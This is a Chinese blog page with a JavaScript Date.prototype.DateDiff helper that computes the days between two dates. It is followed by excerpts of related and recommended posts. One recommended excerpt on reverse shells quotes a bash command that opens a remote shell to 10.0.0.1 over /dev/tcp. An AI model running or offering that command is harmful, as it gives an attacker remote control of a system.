Date.prototype.DateDiff = function(after){
var diffDay;
var beforeDate = new Date(this).format("yyyy-MM-dd");
beforeDate = beforeDate.split('-');
beforeDate = new Date(beforeDate[1] + '-' + beforeDate[2] + '-' + beforeDate[0]).toLong();
console.log("beforeDate");
console.log(beforeDate);
var afterDate = new Date(after).format("yyyy-MM-dd");
afterDate = afterDate.split("-");
afterDate = new Date(afterDate[1] + '-' + afterDate[2] + '-' + afterDate[0]).toLong();
console.log("afterDate");
console.log(afterDate);
diffDay = parseInt(Math.abs(afterDate - beforeDate) / 1000 / 60 / 60 /24);
console.log("diffDay");
console.log(diffDay);
return diffDay + 1 +"天";
};

扩展Date的DateDiff方法--日期差的更多相关文章

  1. js扩展Date对象的方法,格式化日期格式(prototype)

    扩展:Date.prototype.format = function(format){     var o =  {     "M+" : this.getMonth()+1, ...

  2. 扩展Date的DateAdd方法--计算日期

    Date.prototype.DateAdd = function(strInterval, Number) { var dtTmp = this; switch (strInterval) { ca ...

  3. 扩展Date的format方法--格式化日期时间

    Date.prototype.format = function (format) { var o = { "M+": this.getMonth() + 1, "d+& ...

  4. DateTime.ToString格式化日期,使用DateDiff方法获取日期时间的间隔数

    一:DateTime.ToString格式化日期 二:代码 using System; using System.Collections.Generic; using System.Component ...

  5. 使用DateDiff方法获取日期时间的间隔数

    一:用DateDiff方法获取日期时间的间隔数,截图 二:代码 using System; using System.Windows.Forms; using Microsoft.VisualBasi ...

  6. JavaScript Date的原型方法扩展

    在JavaScript开发中,经常需要对Date类型的对象进行各种验证或格式化,但是js并没有提供那么多的那么细的函数,所以只好自己去用 prototype 扩充了,下面是我自己实现的Date类型常用 ...

  7. Android 获取当前日期距离过期时间的日期差值的完整方法直接使用

    /*** * 获取当前日期距离过期时间的日期差值 * @param endTime * @return */public String dateDiff(String endTime) { Strin ...

  8. js的日期操作:String转date日期格式、求日期差

    一.在js中String类型转成date格式 var date = new Date("2018-9-21 14:58:43");//就是这么简单 二.date转String类型就 ...

  9. Datetime 模块求日期差

    Datetime 模块求日期差 导入 datetime 模块/实例化当前时间对象 调用.date() 方法 得到当前年/月/日时间 实例化时间差对象 delta 求当前日期减去时间差 delta 后的 ...

随机推荐

  1. 编写一个类A,该类创建的对象可以调用方法f输出小写的英文字母表。然 后再编写一个A类的子类B,要求子类B必须继承类A的方法f(不允许重写), 子类B创建的对象不仅可以调用方法f输出小写的英文字母表,而且可以调用子 类新增的方法g输出大写的英文字母表。最后编写主类C,在主类的main方法 中测试类A与类B。

    package zimu; public class A { public void f() { for (int i = 97; i <123; i++) { System.out.print ...

  2. CPU的一些参数和排名

    排名的信息来源: http://itianti.sinaapp.com/index.php/cpu 一些参数的信息来源: http://ark.intel.com/ 个人关注一些的一些CPU排名: I ...

  3. Python的getattr(),setattr(),delattr(),hasattr()

    判断一个对象里面是否有name属性或者name方法,返回BOOL值,有name特性返回True, 否则返回False.需要注意的是name要用括号括起来   1 >>> class ...

  4. 【转】The decoupling capacitor…is it really necessary?

    Before working as an applications engineer, I worked as an IC test development engineer here at TI. ...

  5. wooyunAPI

    经常要爬去乌云的信息,但是每次都是硬爬,写完了发现乌云有提供API的,整理给大家: 1. WooYun Api是什么 通过WooYun开放的Api接口,其它网站或应用可以根据自己获取的权限调用WooY ...

  6. 反弹shell的十种姿势

    bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ,注意某些linux不支持 perl版本: perl -e 'use Sock ...

  7. 数据词典与ABAP类型映射

    声明:原创作品,转载时请注明文章来自SAP师太技术博客( 博/客/园www.cnblogs.com):www.cnblogs.com/jiangzhengjun,并以超链接形式标明文章原始出处,否则将 ...

  8. Codeforces Round #237 (Div. 2) B题模拟题

    链接:http://codeforces.com/contest/404/problem/B B. Marathon time limit per test 1 second memory limit ...

  9. Android——android学习(android目录与AndroidManifest解析)

    res目录:存放android项目的各种资源文件 layout:存放界面布局文件 values:存放各种xml格式的资源文件 strings.xml:字符串资源文件: colors.xml:颜色资源文 ...

  10. ZOJ-2342 Roads 二分图最小权值覆盖

    题意:给定N个点,M条边,M >= N-1.已知M条边都有一个权值,已知前N-1边能构成一颗N个节点生成树,现问通过修改这些边的权值使得最小生成树为前N条边的最小改动总和为多少? 分析:由于计算 ...